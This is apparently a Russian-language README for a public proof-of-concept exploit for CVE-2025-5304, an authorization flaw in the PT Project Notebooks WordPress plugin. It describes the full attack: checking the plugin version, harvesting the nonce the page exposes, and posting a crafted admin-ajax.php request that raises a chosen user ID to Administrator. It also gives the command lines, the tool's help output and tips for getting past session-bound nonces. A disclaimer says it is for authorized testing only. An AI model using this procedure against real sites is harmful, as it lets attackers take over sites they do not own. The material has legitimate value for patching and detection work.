
PT Project Notebooks 1.0.0 - 1.1.3 - Отсутствие авторизации, ведущее к неаутентифицированному повышению привилегий
PT Project Notebooks 1.0.0 - 1.1.3 - Отсутствие авторизации, приводящее к неаутентифицированному повышению привилегий
PoC и вспомогательный эксплойт для PT Project Notebooks версий 1.0.0–1.1.3: отсутствие авторизации в
wpnb_pto_new_users_add()позволяет неаутентифицированным атакующим повысить привилегии выбранного пользователя до Администратора черезadmin-ajax.php.
Плагин PT Project Notebooks для WordPress уязвим к повышению привилегий из-за отсутствия авторизации в функции wpnb_pto_new_users_add() в версиях с 1.0.0 по 1.1.3. Это позволяет неаутентифицированным атакующим повысить привилегии до уровня Администратора для указанного идентификатора пользователя.
wp-content/plugins/project-notebooks/readme.txt и извлекает Stable tag, чтобы подтвердить, что целевая версия ≤ 1.1.3.custom.nonce и custom.ajax_url, внедрённые плагином в страницу (через wp_localize_script).admin-ajax.php с параметрами action=wpnb_pto_new_users_add, обнаруженным nonce, ids=<UserID> и user_type=2, чтобы скопировать все права Администратора на целевого пользователя.wordpress_logged_in_*, чтобы wp_verify_nonce() выполнился успешно.python3 CVE-2025-5304.py -u "http://TARGET/wordpress" -id 28
python3 CVE-2025-5304.py -u "http://TARGET/wordpress" -id 28 -c "wordpress_logged_in_...=..."
CVE-2025-5304.py -help
usage: t.py [-h] -u URL -id ID [-c COOKIE] [--skip-version]
CVE-2025-5304 (Nxploited Edition)
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress site URL (e.g. http://127.0.0.1/wordpress)
-id, --id ID User ID to escalate (e.g. 28)
-c, --cookie COOKIE Optional Cookie header value for session-bound nonces
--skip-version Skip readme.txt version check
-u / --url — Базовый URL сайта; инструмент нормализует его и читает readme плагина и главную страницу.-id / --id — Числовой идентификатор пользователя WordPress для повышения привилегий (достаточно Подписчика).-c / --cookie — Полное значение заголовка Cookie (например, wordpress_logged_in_*=...), необходимое, если nonce привязан к сессии.--skip-version — Пропустить проверку Stable tag в readme.txt (полезно, когда readme скрыт или изменён).Примечания о nonce и cookie
custom.nonce виден в окне приватного режима, значит он публичный — cookie не требуется.wordpress_logged_in_* с помощью -c.custom.ajax_url (схема/хост/порт/путь), указанный в исходном коде страницы.Этот репозиторий, PoC и код предоставлены исключительно для образовательного и авторизованного тестирования безопасности. Вы несёте единоличную ответственность за получение явного разрешения на тестирование целей. Автор не несёт ответственности за неправомерное использование или ущерб, возникший в результате использования этого проекта.
Автор: Khaled Alenazi (Nxploited)